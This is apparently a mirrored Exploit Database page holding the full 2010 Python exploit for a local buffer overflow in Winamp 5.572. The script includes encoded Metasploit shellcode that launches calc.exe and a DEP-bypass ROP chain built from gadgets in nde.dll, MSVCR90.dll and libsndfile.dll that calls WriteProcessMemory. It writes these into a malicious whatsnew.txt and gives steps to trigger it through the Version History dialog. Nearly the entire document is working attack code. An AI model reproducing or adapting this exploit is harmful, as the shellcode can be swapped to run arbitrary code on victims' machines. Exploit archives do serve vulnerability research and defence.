Winamp 5.572 – Local Buffer Overflow (EIP + SEH) (DEP Bypass)

• Exploit Database
• 120 阅读

• 作者： TecR0c
  日期： 2010-06-17
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/13907/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113

  #!/usr/bin/python # # Title:Winamp v5.572 local BOF exploit (EIP & SEH DEP Bypass) # Author: Rocco Calvi aka TecR0c - http://tecninja.net/blog | http://twitter.com/TecR0c # Found BY: Debug # Date: June 18th, 2010 # Platform: Windows XP sp3 En # Greetz to:Corelan Security Team # http://www.corelan.be:8800/index.php/security/corelan-team-members/ # # Script provided &apos;as is&apos;, without any warranty. # Use for educational purposes only. # Do not use this code to do anything illegal ! # # Note : you are not allowed to edit/modify this code. # If you do, Corelan cannot be held responsible for any damages this may cause.   # Special thanks to mr_me for making me try harder and lincoln     # Usage stage 1 : Replace existing whatsnew.txt file with evil whatsnew.txt   # Usage stage 2 : Launch Application > Help > About Winamp > Version History > BOOM!   print "|------------------------------------------------------------------|" print "| __ __|" print "| _________________/ /___ _____ / /________ _____ ___|" print "|/ ___/ __ \/ ___/ _ \/ / __ <code>/ __ \ / __/ _ \/ __ </code>/ __ `__ \ |" print "| / /__/ /_/ / //__/ / /_/ / / / // /_/__/ /_/ / / / / / / |" print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/|" print "||" print "| http://www.corelan.be:8800 |" print "|security@corelan.be |" print "||" print "|-------------------------------------------------[ EIP Hunters ]--|" print "[+] Winamp 5.572 (whatnews.txt) DEP Bypass - by TecR0c"       # http://www.metasploit.com # EXITFUNC=process, CMD=calc.exe sc = ("\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" "\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47" "\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c" "\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a" "\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46" "\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45" "\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c" "\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c" "\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44" "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c" "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46" "\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50" "\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44" "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45" "\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43" "\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b" "\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43" "\x51\x42\x4c\x42\x43\x43\x30\x41\x41");     version = "Winamp 5.572"   rop = "\x41" * 540# Crash     rop += "\x09\x12\x0e\x07" # 0x070E1209 :{POP}# POP EDI # POP ESI # POP EBP # XOR EAX,EAX # POP EBX # RETN [Module : nde.dll]     rop += "\xee\xff\xff\xc0" # 0xc0ffffee :Junk rop += "\xee\xff\xff\xc0" # 0xc0ffffee :Junk rop += "\xee\xff\xff\xc0" # 0xc0ffffee :Junk rop += "\xee\xff\xff\xc0" # 0xc0ffffee :Junk     rop += "\x03\x85\x09\x07" # 0x07098503 :EAX CALL rop += "\xee\xff\xff\xc0" # 0xc0ffffee :Junk rop += "\xee\xff\xff\xc0" # 0xc0ffffee :Junk rop += "\xff\xff\xff\xff" # 0xffffffff :for EBX     rop += "\xc5\x01\x5a\x78" # 0x785A01C5 :# POP EDX # RETN [Module : MSVCR90.dll] rop += "\x10\xe0\x10\x07" # 0x07100e01 :Writeable Address     rop += "\x46\x17\x5a\x78" # 0x785A1746 :# ADD EAX,40 # POP EBP # RETN [Module : MSVCR90.dll] rop += "\xee\xff\xff\xc0" # 0xc0ffffee :Junk rop += "\x6e\x22\x97\x7c" # 0x7C97226E :# ADD EAX,100 # POP EBP # RETN rop += "\xcf\x22\x80\x7c" # 0x7C8022CF :dest address in WriteProcessMemory()     rop += "\xcf\xc9\x0e\x07" # 0x070EC9CF :# ADD EBX,EAX # XOR AL,AL # RETN [Module : nde.dll] rop += "\x5e\x89\x09\x07" # 0x0709895E :{POP}# POP EAX # POP ESI # RETN [Module : libsndfile.dll] rop += "\x13\x22\x80\x7c" # 0x7C802213 :WriteProcessMemory rop += "\xff\xff\xff\xff" # 0xffffffff :HProcess HANDLE (-1)     rop += "\x65\x08\x59\x78" # 0x78590865 :# PUSHAD # RETN [Module : MSVCR90.dll]     junk = "\x43" * 800     tecfile = open(&apos;whatsnew.txt&apos;,&apos;w&apos;) tecfile.write(version + rop + sc + junk) tecfile.close()